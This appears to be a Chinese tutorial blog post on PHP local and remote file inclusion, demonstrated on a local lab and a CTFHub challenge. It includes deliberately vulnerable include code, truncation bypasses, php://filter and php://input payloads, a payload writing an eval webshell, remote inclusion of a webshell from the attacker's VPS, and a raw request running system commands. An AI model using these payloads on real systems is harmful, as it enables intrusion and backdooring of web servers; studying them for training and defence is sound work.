目录
什么是文件包含
以常见的php文件包含来说:服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当作PHP来执行,这会为开发者节省大量的时间。但是,如果文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,不幸包含了一个恶意文件,就可能造成文件包含漏洞。
怎么个节省时间呢?您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)
几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,而在JSP、ASP、ASP.NET程序中却非常少,甚至没有,这是有些语言设计的弊端。在PHP中经常出现包含漏洞,但这并不意味这其他语言不存在。
脑图
本地包含
无限制的文件包含
这里举个例子,来演示一下:
在phpttudy的www目录下新建一个用于文件包含的文件include.php
,代码如下:
<?php
$filename = $_GET['filename'];
include($filename);
?>
与include.php
同级目录中,新建一个名为phpinfo.php
和phpinfo.txt
的文件,内容一样,如下:
<?php
phpinfo();
?>
当包含phpinfo.php文件时候,里面的代码就被当作php脚本给执行了。
有限制的文件包含
在文件上传中,上面的代码就是无限制的,随便你上传,但是,如果改一改include.php
,代码如下:
<?php
$filename = $_GET['filename'];
include($filename.".html");
?>
这就是一个有限制的php文件,限制了要包含的文件得是html格式的。无法直接文件包含。
绕过方式也很简单:
方案1:00截断
00截断条件:php版本< 5.3.4 ;php的magic_quotes_gpc为OFF状态。
注意文件包含的定义中,那段加粗的内容,“可以通过文件包含函数加载另一个文件中的PHP代码,并且当作PHP来执行”,像下面这样,一个txt文件也会当作php来执行,并拿到phpinfo信息
方案2:长度截断
条件:windows点号长度大于256;linux大于4096
解释:点号过多,导致无法检测.html
后缀
多罗嗦一句,长度截断的时候,是在文件后缀后面添加/
,然后反复添加././././././
下图中,第一个图因为不是在文件名后缀紧跟/
,导致截断失败,上面两张图中可以看出,最后是以.
结尾,或者/
结尾都是不影响结果的。
方案2变形:点绕过
在文件上传中,提到过点绕过Pass-7-点绕过【黑名单绕过】
这里可以使用超多的点进行文件包含
远程文件包含
开启远程文件包含
能不能远程文件包含,需要看目标是否支持
在phpinfo中(本地包含)可以看到,我的phpstudy是不支持远程文件包含的
那我先开启一下(下图是演示一下开启,我后面php还是切换到低版本,方便00截断)
有限制的文件包含
伪协议
更详细的内容,参见php伪协议
PHP支持的伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
php.ini参数设置
在php.ini里有两个重要的参数allow_url_fopen、allow_url_include。
- allow_url_fopen:默认值是ON。允许url里的封装协议访问文件;
- allow_url_include:默认值是OFF。不允许包含url里的封装协议包含文件;
各协议的利用条件和方法
在第2、3列中,黑色的off/on
表示开启或者关闭都无所谓,on
表示必须是开启状态
一些案例
读取文件源码
用法:php://filter/read=convert.base64-encode/resource=[文件名]
举例:http://192.168.239.131/fileinclude/include.php?filename=php://filter/read=convert.base64-encode/resource=phpinfo.php
这里之所以进行base64编码,主要是因为有时候浏览器中看到的内容会有乱码,编码一下,会好一点
执行php代码
用法:
php://input + [POST DATA]
http://127.0.0.1/include.php?file=php://input
[POST DATA部分],如下:
<?php phpinfo(); ?>
额,,,,,不知道HackBar哪里出问题了,换BurpSuite吧

写入一句话木马
用法:
http://127.0.0.1/include.php?file=php://input
[POST DATA部分],如下:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
额,,,,查了一下,蚁剑好像对GET的支持不大好。换POST型的一句话木马
PHP://input
伪协议
点开CTF靶场,长下图样子。
常用到伪协议的php://input
和php://filter
,其中php://input
要求allow_url_include
设置为On,所以咱还是得看看phpinfo
- 查看phpinfo
- 抓包,发现是GET型
- 命令执行,发现flag
- 命令执行,文件读取
远程包含拿shell
- 查看phpinfo
PHP的配置选项allow_url_include
为ON的话,则include/require
函数可以加载远程文件,这种漏洞被称为”远程文件包含漏洞(Remote File Inclusion RFI)”。
allow_url_fopen = On
是否允许打开远程文件allow_url_include = On
是否允许include/require
远程文件
方法1
- 既然要shell,就在vps上放一句话木马,让目标去包含它
由于我的vps默认是只开放22端口的,所以,这里仅作截图,不具体演示了
- 包含VPS的一句话木马
http://challenge-e9ac7ffd55790f05.sandbox.ctfhub.com:10800/?file=http://你的vps地址:8000/yjh.txt
- 连接成功后,查看一下文件内容即可
方法2:
使用跟上一节相同的方法
POST /?file=php://input HTTP/1.1
Host: challenge-e9ac7ffd55790f05.sandbox.ctfhub.com:10800
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 25
<?php system("ls /");?>
参考
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134305.html